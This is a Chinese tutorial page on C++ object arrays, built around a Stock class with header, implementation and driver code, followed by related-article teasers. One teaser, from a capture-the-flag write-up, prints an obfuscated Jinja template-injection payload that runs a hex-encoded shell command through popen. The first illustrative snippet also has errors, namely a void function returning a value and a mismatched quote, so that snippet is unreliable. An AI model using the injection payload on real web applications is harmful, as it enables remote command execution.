C++ 对象数组

对象数组用于创建同一个类的多个对象。声明对象数组的方法与声明标准类陷阱数组相同。以Stock类为例:

class Stock
{
private:
	std::string company;
	int shares;
	double share_val;
	double total_val;
	void set_tot(){return total_val = shares * share_val;}
public:
	Stock();
	Stock(const std::string & c0, int n = 0, double pr = 0.0);
	~Stock();
	void buy(long num, double price);
	void sell(long num, double price);
	void update(double price);
	void show()const;
	const Stock & topval(const Stock & s)const;
};

Stock mystuff[4];//创建一个包含4个Stock对象的数组mystuff

上述创建对象数组的方式未显式初始化类对象,则调用默认构造函数。若要给对象数组的每个元素进行初始化,创建对象数组方式如下:

const int STKS = 10;
Stock stocks[STKS] = {
	Stock("NanoSmart', 12.5, 20),
	Stock(),
	Stock("Monolithic Obelisks", 130, 3.25),
	Stock("Fleep Enterprises", 60, 6.5)
};

对象数组初始化:用括号括起来、以逗号分隔的值列表,每次构造函数调用表示一个数组元素的值。初始化对象数组的方案是,首先使用默认构造函数创建数组元素,然后花括号中的构造函数将创建临时对象,然后将临时对象的内容复制到相应的元素中。

示例程序:将4个数组元素进行初始化,显式它们的内容,并找出这些元素中total_val最高的一个。
1、头文件

//stock20.h--augmented version
#pragma once
#include <string>

class Stock
{
private:
	std::string company;
	int shares;
	double share_val;
	double total_val;
	void set_tot() { total_val = shares * share_val; }
public:
	Stock();
	Stock(const std::string & c0, int n = 0, double pr = 0.0);
	~Stock();
	void buy(long num, double price);
	void sell(long num, double price);
	void update(double price);
	void show()const;
	const Stock& topval(const Stock & s)const;
};

2、实现文件

//stock20.cpp--augement version
#include "stock20.h"
#include <iostream>
Stock::Stock()
{
	company = "no name";
	shares = 0;
	share_val = 0.0;
	total_val = 0.0;
}
Stock::Stock(const std::string& co, int n, double pr)
{
	company = co; 
	if (n < 0)
	{
		std::cout << "Number of shares can't be negative;"
			<< company << " shares set to 0.\n";
		shares = 0;
	}
	else
		shares = n;
	share_val = pr;
	set_tot();
}
Stock::~Stock()
{
}
void Stock::buy(long num, double price)
{
	if (num < 0)
	{
		std::cout << "Number of shares purchased can't be nagative." << "Transacyion is aborted.\n";
	}
	else
	{
		shares += num;
		share_val = price;
		set_tot();
	}
}
void Stock::sell(long num, double price)
{
	using std::cout;
	if (num < 0)
	{
		cout << "Number of shares sold can't be nagative."
			<< "Transaction is abored.\n";
	}
	else if(num > shares)
	{
		cout << "You can't sell more than you have! "
			<< "Transaction is aborted.\n";
	}
	else
	{
		shares -= num;
		share_val = price;
		set_tot();
	}
}
void Stock::update(double price)
{
	share_val = price;
	set_tot();
}
void Stock::show()const
{
	using std::cout;
	using std::ios_base;
	//set format #.###
	ios_base::fmtflags orig = cout.setf(ios_base::fixed, ios_base::floatfield);
	std::streamsize prec = cout.precision(3);

	cout << "Company: " << company << " Shares: " << shares << '\n';
	cout << "Shares Price:$" << share_val;
	//set format to #.##
	cout.precision(2);
	cout << " Total Worth:$" << total_val << '\n';
	//restore original format
	cout.setf(orig, ios_base::floatfield);
	cout.precision(prec);
}
const Stock & Stock::topval(const Stock & s)const
{
	if (s.total_val > total_val)
		return s;
	else
		return *this;
}

3、使用文件

//usestock2.cpp-- using the Stock class
//compilewith stock20.cpp
#include <iostream>
#include "stock20.h"

const int STKS = 4;
int main()
{
	Stock stocks[STKS] = {
		Stock("NanoSmart", 12, 20.0),
		Stock("Boffo Objects", 200, 2.0),
		Stock("Monolithic Oblisks", 130, 3.25),
		Stock("Fleep Enterprises", 60, 6.5)
	};

	std::cout << "Stock holding:\n";
	int st;
	for (st = 0; st < STKS; st++)
	{
		stocks[st].show();
	}

	//set pointer to first element
	const Stock* top = &stocks[0];
	for (st = 0; st < STKS; st++)
		top = &top->topval(stocks[st]);

	//now top points to the most valuable holding
	std::cout << "\nMost valuable holding:\n";
	top->show();

	return 0;
}

运行结果:循环展示对象数组每个元素的数据。可见total_val值最高的是stock[2].再遍历数组中的所有对象,通过topval()方法,获取对象数组中total_val值最高的对象,并显式该对象的数据。
代码运行结果

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/235604.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

基于Java SSM框架实现电影售票系统项目【项目源码+论文说明】计算机毕业设计

基于java的SSM框架实现电影售票系统演示 摘要 21世纪的今天&#xff0c;随着社会的不断发展与进步&#xff0c;人们对于信息科学化的认识&#xff0c;已由低层次向高层次发展&#xff0c;由原来的感性认识向理性认识提高&#xff0c;管理工作的重要性已逐渐被人们所认识&#…

SU渲染受到电脑性能影响大吗?如何提高渲染速度

一般3d设计师们在进行设计工作前都需要提供一台高配电脑&#xff0c;那么你这知道su渲染对电脑要求高吗&#xff1f;电脑带不动su怎么解决&#xff1f;su对电脑什么配件要求高&#xff1f;今天这篇文章就详细为大家带来电脑硬件对su建模渲染的影响&#xff0c;以及su渲染慢怎么…

Flask应用基础入门总结

【1】使用migrate方式进行数据库连接 使用migrate方式进行数据库连接需要在终端分别运行三行代码&#xff1a; #init&#xff08;运行一次即可&#xff09;&#xff08;此db为自己设置的连接数据库的对象,可以修改&#xff09; flask db init #&#xff08;将orm模型生成迁移…

qt creator配置opencv库 (MSVC版本)

目录 1. MSVC版本 1.1 使用cmake编译opencv 1.2 再使用visual studio 2019生成opencv的lib,dll 1.3 配置opencv的系统环境变量 1.4 新建qt项目 1. MSVC版本 1.1 使用cmake编译opencv 1.2 再使用visual studio 2019生成opencv的lib,dll 1.3 配置opencv的系统环境变量 D:…

了解构造函数原型对象的语法特征,掌握 JavaScript 中面向对象编程的实现方式,基于面向对象编程思想实现 DOM 操作的封装。(第三天)

有什么不懂可以去看我前两天的笔记 https://blog.csdn.net/weixin_70007095/article/details/134905674 目录 有什么不懂可以去看我前两天的笔记 JavaScript 进阶 - 第3天笔记 编程思想 面向过程 面向对象 构造函数 原型对象 constructor 属性 对象原型 原型继承 原型链 JavaSc…

2021版吴恩达深度学习课程Deeplearning.ai 05序列模型 12.5

学习内容 05.序列模型 1.1 为什么用序列模型 1.序列模型常见的应用 1.2 注释 notation 1.*T_x(i)表示训练样本x(i)的序列长度&#xff0c;T_y(i)表示target(i)的序列长度2.训练集表示单词的方式*构建字典的方式*在训练集中查找出现频率最高的单词*网络搜集常用字典3.如果遇…

linux交换分区管理SWAP

概念查看当前的交换分区&#xff1a;free 6.2.5 交换分区管理SWAP 6.2.5.1 概念 作用&#xff1a; ”提升“内存容量&#xff0c;防止OOM&#xff08;out of memory&#xff0c;内存溢出&#xff09;。 ​ 对应windows中的虚拟内存。 ​ 从功能上讲&#xff0c;交换分区主要是…

Idea spring项目中 resource图标错误解决方案

1.resources错误显示示例 2.resources正确显示示例 3.解决方案 第一步&#xff1a; 第二步&#xff1a; 点击完成即可。

网络和Linux网络_12(网络其他协议和技术)DNS+ICMP+NAT/NAPT+代理服务器

目录 1. 域名解析服务DNS 1.1 DNS和域名概念 1.2 域名解析过程 2. ICMP协议 2.1 ICMP协议格式(了解) 2.2 ping命令 3. NAT和NAPT 3.1 NAT概念 3.2 NATP概念 4. 代理服务器 4.1 代理服务器概念 4.2 NAT和代理服务器 5. 相关笔试选择题 答案及解析 本篇完。 前面几…

使用Python提取PDF文件中指定页面的内容

在日常工作和学习中&#xff0c;我们经常需要从PDF文件中提取特定页面的内容。在本篇文章中&#xff0c;我们将介绍如何使用Python编程语言和两个强大的库——pymupdf和wxPython&#xff0c;来实现这个任务。 1. 准备工作 首先&#xff0c;确保你已经安装了以下两个Python库&…

1.鸿蒙应用程序开发app_hap开发环境搭建

1.下载Node.js, Javascipts的运行环境 node.js版本下载v12.18.3/https://www.cnblogs.com/txwtech/p/17865780.html 2.下载并安装DevEco Studio DevEco Studio 3.1 DevEco Studio 3.1配套支持HarmonyOS 3.1版本及以上的应用及服务开发&#xff0c;提供了代码智能编辑、低代…

BUUCTF-[GYCTF2020]FlaskApp flask爆破pin

这道题不需要爆破也可以getshell ssti都给你了 {{((lipsum.__globals__.__builtins__[__import__](so[::-1])[popen]("\x63\x61\x74\x20\x2f\x74\x68\x69\x73\x5f\x69\x73\x5f\x74\x68\x65\x5f\x66\x6c\x61\x67\x2e\x74\x78\x74")).read())}} 但是学习记录一下pin…

华为OD机试 - 导师请吃火锅 - 逻辑分析(Java 2023 B卷 200分)

目录 专栏导读一、题目描述二、输入描述三、输出描述1、输入2、输出3、说明 四、解题思路五、Java算法源码六、效果展示1、输入2、输出3、说明 华为OD机试 2023B卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&a…

RabbitMQ使用指南

介绍主要特点常用插件使用RabbitMQ的插件常用插件列表 应用场景Kafka与RabbitMq的区别主要优缺点安装步骤插件安装步骤 使用RabbitMqJava代码示例拓展 介绍 RabbitMQ是由Erlang语言开发的&#xff0c;基于AMQP&#xff08;高级消息队列协议&#xff09;协议实现的开源消息代理…

基于java swing 药品销售管理系统

大家好&#xff0c;我是DeBug&#xff0c;很高兴你能来阅读&#xff01;作为一名热爱编程的程序员&#xff0c;我希望通过这些教学笔记与大家分享我的编程经验和知识。在这里&#xff0c;我将会结合实际项目经验&#xff0c;分享编程技巧、最佳实践以及解决问题的方法。无论你是…

Https证书/SSL证书异常导致访问失败该如何解决?

我们在使用SSL证书时&#xff0c;经常会碰到一些常见的SSL证书错误&#xff0c;例如浏览器提示证书无效&#xff0c;证书在地址栏中被红色警告等等。下面是关于SSL证书错误的几种原因及解决方法。 1.报错&#xff1a;NET::ERR_CERT_DATE_INVALID 原因&#xff1a;SSL证书已过…

大数据讲课笔记1.4 进程管理

文章目录 零、学习目标一、导入新课二、新课讲解&#xff08;一&#xff09;进程概述1、基本概念2、三维度看待进程3、引入多道编程模型&#xff08;1&#xff09;CPU利用率与进程数关系&#xff08;2&#xff09;从三个视角看多进程 4、进程的产生和消亡&#xff08;1&#xf…

智能优化算法应用:基于缎蓝园丁鸟算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于缎蓝园丁鸟算法3D无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于缎蓝园丁鸟算法3D无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.缎蓝园丁鸟算法4.实验参数设定5.算法…

046:vue通过axios调用json地址数据的方法

第046个 查看专栏目录: VUE ------ element UI 专栏目标 在vue和element UI联合技术栈的操控下&#xff0c;本专栏提供行之有效的源代码示例和信息点介绍&#xff0c;做到灵活运用。 &#xff08;1&#xff09;提供vue2的一些基本操作&#xff1a;安装、引用&#xff0c;模板使…

企业微信应用模板消息

是在发送应用消息接口的基础上&#xff0c;第三方应用支持一种新的消息类型&#xff1a;模板消息&#xff0c;msgtype指定为template_msg。模板消息是一种固定格式的消息。 注意 - 此消息类型目前仅第三方应用支持&#xff0c;自建应用不支持。服务商需在管理端申请模版。接口…
最新文章